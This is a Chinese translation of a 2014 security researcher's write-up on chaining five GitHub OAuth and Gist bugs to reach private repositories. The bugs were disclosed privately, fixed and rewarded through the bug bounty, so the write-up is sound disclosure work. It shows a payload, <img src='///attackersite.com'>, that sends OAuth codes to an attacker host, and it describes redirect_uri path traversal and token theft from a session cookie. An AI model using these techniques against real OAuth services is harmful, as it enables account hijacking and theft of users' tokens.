Egor Homakov:我是如何再次黑掉GitHub的

// 编注:为什么标题是“再次”?2013年,Github Page服务启用新域名(从 page.github.com 换到 github.io)之前有被跨域攻击的危险。Egor Homakov 写了一篇博文证实。

这篇文章是关于我将5个危险性不高的漏洞组合起来,构造一个简单却高危漏洞的故事。利用这个漏洞,我可以进入Github上的用户私有代码仓库。这些漏洞都已经私下报告并及时修复了。

下面是我的邮件时间线:

Screen Shot 2014-02-05 at 6.50.54 PM
几天前,GitHub正式推出了一个赏金计划,这个计划对我来说是研究GitHub OAuth问题的绝佳动力。

漏洞1. 利用/../绕过redirect_uri 验证

我最先发现的是:

如果提供了的话,重定向URL的主机和端口必须严格匹配回调URL。重定向URL的路径只能引用回调URL的一个子目录

然后,我尝试用/../进行路径遍历,我成功了。

 

漏洞2. 在获得令牌的终端缺少重定向URI验证

仅有第一个漏洞没有什么价值。在OAuth2协议中有保护机制防止‘泄露的’重定向URI,每个code参数都签发给对应的‘redirect_uri’。要获得访问令牌必须提供你在认证流程中使用的准确的redirect_uri。

redirect_uri string 你的app中用户认证后返回给用户的URL。查看更多细节点击 redirect_urls.

不幸的是,我决定研究一下这个保护机制有没有被正确实现。

它确实是有缺陷:不管客户端发送什么重定向uri来获得令牌,提供商都会回复一个有效的访问令牌。

要是没有第一个漏洞,第二个漏洞也会要毫无价值。但是,它们却组合成一个很强大的漏洞——攻击者可以劫持一个签发给泄露的重定向uri的授权令牌,然后把这个泄露的令牌用在真正的客户端回调URl上,从而登陆受害者的账户。顺便说下,这和我在VK.com发现的漏洞一样。

这是一个严重的问题,而且可以用来危害所有依赖“用GitHub登陆”功能的网站。我打开了应用页面来查看哪些网站应该检查一下。这个部分引起了我的注意:

Screen Shot 2014-02-05 at 5.56.08 PM
Gist、Education、Pages和Speakerdeck(注:前三个是Github的频道站,后面是旗下站点)都是官方预先认可的OAuth客户端。我没有找到Pages和Education的client_id,Speakerdeck又超出了奖金范围(我在那里发现了账户劫持,并获得了$100)。那么,我们还是在Gist上寻找重定向泄露的页面吧。

 

漏洞3. 在gist中注入跨站图片

基本上,泄露的Referers有两个向量:用户点击一个链接(需要交互)或用户代理载入一些跨站资源,比如<img>
我不能简单的注入(img src=http://attackersite.com),因为这会替换成camo-proxy URL,这样就不能把Referer头传递到攻击者的主机。为了能够绕过Camo-s 过滤器,我用了一个小技巧:<img src=”///attackersite.com”>

你可以在开放重定向漏洞进展这篇文章中看到更多细节

///host.com 被Ruby的URI库解析成一个相对路径URL,却被Chrome和Firefox视为一个相对协议URL。下面是我们精心构造的URL:

当用户载入这个URL时,Github会自动302 重定向自己。对应地址:

但是用户代理载入为:

那么用户代理会把发送请求的CODE泄露给我们的<img>:

Screen Shot 2014-02-05 at 5.15.39 PM
一旦我们获得受害者的CODE,我们点击 :

瞧,我们登陆进了受害者的账号,然后我们可以进入私有的gists

 

漏洞4. Gist在cookies里暴露了github_token

我很想知道Gists是怎么把用户会话和解码的_gist_session存放在cookie(普通的Rails Base64编码的cookie)里:
Screen Shot 2014-02-05 at 5.59.16 PM
天啊,又一个OAuth的反面教材!客户端绝不应该暴露真正的访问令牌给用户代理。现在我们可以用这个github_token代表受害者账户来执行API调用,并且不再需要Gist网站。我试着访问私人代码库:
Screen Shot 2014-02-05 at 6.00.45 PM
该死的,令牌的范围显然仅仅是Gists……

 

漏洞5. 对Gist客户端的自动授权

我的漏洞利用的最后部分。由于Gist是一个预先授权的客户端,我猜想Github也自动认证了Gist客户端请求的其他范围。我果然对了

我们现在要做的只是把构造的URL载入到受害者的浏览器:

用户代理泄漏了受害者的CODE,攻击者使用泄漏的CODE登陆进受害者的Gist账户,解码_gist_session来盗取github_token等等。

私人代码库,读写权限等等——都秘密失窃,因为所用github_token是属于Gist客户端的。完美的犯罪,不是吗?

赏金

Screen Shot 2014-02-07 at 10.58.16 PM

$4000的奖励真是太丰厚了。有趣的是,对他们来说购买我4~5个小时$400的咨询服务,只需要$1600,这会更便宜。重要的是也要有众包安全。最好是两者都用:)

收藏 5 评论

关于作者:50infivedays

(新浪微博:@50infivedays) 个人主页 · 我的文章

相关文章

可能感兴趣的话题



直接登录
最新评论
跳到底部
返回顶部